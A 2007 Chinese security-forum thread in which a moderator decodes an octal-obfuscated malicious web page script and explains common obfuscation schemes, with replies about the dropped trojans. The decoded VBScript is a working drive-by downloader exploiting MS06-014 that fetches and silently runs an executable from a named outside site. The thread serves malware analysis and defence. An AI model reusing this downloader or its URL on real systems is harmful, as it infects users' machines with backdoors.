瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 致“horseluke11”,关于网页恶意脚本的加密与解密

1   1  /  1  页   跳转

致“horseluke11”,关于网页恶意脚本的加密与解密

致“horseluke11”,关于网页恶意脚本的加密与解密

因为寒假放假在家,上网有困难,每次上来看看都只能是“惊鸿一瞥”。56k拨号速度之慢,连接个病毒样本都要许久,实在令人头痛。于是很多悄悄话也等到过了好几天后才看到,根本没有办法回了。

今天看到两天前发来的悄悄话,询问一网页恶意脚本解密一事,幸好我的网页打开速度虽慢,只是得到源文件的速度倒也可以接受,看了一下,因为要说的东西太多,悄悄话装不下,又借题发挥了一下,发成新帖了。

提示:接触恶意网页有风险,如果直接用IE浏览器打开不经修改的带有恶意脚本的网页,又没有打好相应补丁的话,就等于直接把病毒“引进家门”。除非你真正有必要做这些甚至已经把它当成了“家常便饭”,否则绝不提倡去尝试。

原恶意网页地址:
http://www.bartenderofchina.com/gz/mm.htm

内容(部分省略):
<script>document.write("\74\163\143\162\151\160\164\40\154\141\156\147\165\141\147\145\75\42\126\102\123\143\162\151\160\164\42\76\15\12\157\156\40\145\162\162\157\162\40\162\145\163\165\155\145\40\156\145\170\164\15\12\144\154\40\75\40\42\150\164\164\160\72\57\57\167\167\167\56\142\141\162\164\145\156\144\145\162\157\146\143\150\151\156\141\56\143\157\155\57\147\172\57\156\145\167\56\145\170\145\42\15\12\123\145\164\40\144\146\40\75\40\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\15\12\144\146\56\163\145\164\101\164\164\162\151\142\165\164\145\40\42\143\154\141\163\163\151\144\42\54\40\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\15\12\163\164\162\75\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\15\12\123\145\164\40\170\40\75\40\144\146\56\103\162\145\141\164\145\117\142\152\145\143\164\50\163\164\162\54\42\42\51\15\12\163\164\162\65\75\42\101\144\157\144\142\56\123\164\162\145\141\155\42\15\12\163\145\164\40\123\40\75\40\144\146\56\143\162\145\141\164\145\157\142\152\145\143\164\50\163\164\162\65\54\42\42\51\15\12\123\56\164\171\160\145\40\75\40\61\15\12\163\164\162\66\75\42\107\105\124\42\15\12\170\56\117\160\145\156\40\163\164\162\66\54\40\144\154\54\40\106\141\154\163\145\15\12\170\56\123\145\156\144\15\12\146\156\141\155\145\61\75\42\172\152\61\62\64\64\56\143\157\155\42\15\12\163\145\164\40\106\40\75\40\144\146\56\143\162\145\141\164\145\157\142\152\145\143\164\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\15\12\163\145\164\40\164\155\160\40\75\40\106\56\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\50\62\51\40\15\12\146\156\141\155\145\61\75\40\106\56\102\165\151\154\144\120\141\164\150\50\164\155\160\54\146\156\141\155\145\61\51\15\12\123\56\157\160\145\156\15\12\123\56\167\162\151\164\145\40\170\56\162\145\163\160\157\156\163\145\102\157\144\171\15\12\123\56\163\141\166\145\164\157\146\151\154\145\40\146\156\141\155\145\61\54\62\15\12\123\56\143\154\157\163\145\15\12\163\145\164\40\121\40\75\40\144\146\56\143\162\145\141\164\145\157\142\152\145\143\164\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\15\12\121\56\123\150\145\154\154\105\170\145\143\165\164\145\40\146\156\141\155\145\61\54\42\42\54\42\42\54\42\157\160\……(部分省略)")</script>


其中的“\74\163\143\162\151\160\164\40\154\141\156\147\165\141\147\145\75……”其实是javascript中字符的一种表示形式,以“\”加上8进制的ASCII码来表示字符。如“\141”,表示ASCII码为1*64+4*8+1*1=97的字符,也就是小写字母a
在浏览器执行程序的时候就自动识别,但是我们直接看当然很难看出它的全貌。当然,知道了它的表示的不同之后,可以自己写程序将这些字符表示转化成一般形式。

幸好我最近放假前后闲来无事,自己用delphi写了个程序做这种处理,把它还原成直观的字符(这次没省略,是全文):

<script>document.write("<script language="VBScript">
on error resume next
dl = "http://www.bartenderofchina.com/gz/new.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
str5="Adodb.Stream"
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="zj1244.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>

")</script>

这样就很明显了,利用MS06-014漏洞,下载http://www.bartenderofchina.com/gz/new.exe到本机临时文件夹,命名为zj1244.com并运行。

网页加密手法千变万化,但是一般有规律可寻。
一般分为两种:

1.有定式的类型
一就是如上面的这个网页,改用另一种表示形式(也包括用escape的,用US-ASCII的)
这种网页,知道了不同表示形式之间转换的算法原理,可利用浏览器内置的解析函数或自己写程序算法来转换
另一种用浏览器本身有默认的加密算法处理(如encoder加密的)
这种形式的,一般也是要找相应的解密算法(如有解encoder加密的脚本的功能的网页,在网上搜搜就可以得到)

2.无定式的类型
用自定义的加密函数给原来的代码加密,然后在网页代码中再写一个解密的函数,浏览器执行时会调用此函数对被加密的字符串进行解读
这种方法,解密的函数本身已经在网页中了,一般只要你调整它输出的方式,比如把执行代码改为写出代码,就可以得到它的真实内容了。

当然,有时可以混合,或是多层加密,这样就要抽丝剥茧一步步来了。
最后编辑2007-05-08 18:14:37.810000000
分享到:
gototop
 

学习了..谢谢斑竹..
gototop
 

看不懂,参观下
gototop
 

原来如此,这与我的观测结果完全一致。先非常谢谢你的解析。

这个网站一共要下4个病毒文件,共695KB,对于56K Modem来说的确比较大......
其中zj1244.com和down.exe均为Winrar自解压缩包。test.exe为一安装程序(打开将复制一份到%windir%并改名为Nerocheck.exe,并释放两个文件nerocheck.dll、nerocheckkey.dll。这两个文件均被瑞星报为Backdoor.Gpigeon.2006.bcy)。至于Bank.exe在Windows 2000 sp4下面会报错......

那个网站的所有ASP文件均被种马,连管理员登陆界面也种了......再看回这个恶意网页地址,GZ?难道针对的是广州网站?还是种马者为广州人?

附件附件:

下载次数:428
文件类型:image/pjpeg
文件大小:
上传时间:2007-2-28 18:23:10
描述:



gototop
 

Studying.....
gototop
 

哈哈  分析好全面,佩服lz  也佩服horseluke11

快开学了,没有机会去试验了
gototop
 

转载到我的blog上,lz不介意吧
gototop
 

一个个强人,,偶的榜样,,好好学习了
gototop
 

用Script Sentry防范恶意脚本病毒吧。
下载地址:http://www.onlinedown.net/soft/10398.htm
gototop
 

【回复“姑苏残月”的帖子】同感~!!
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT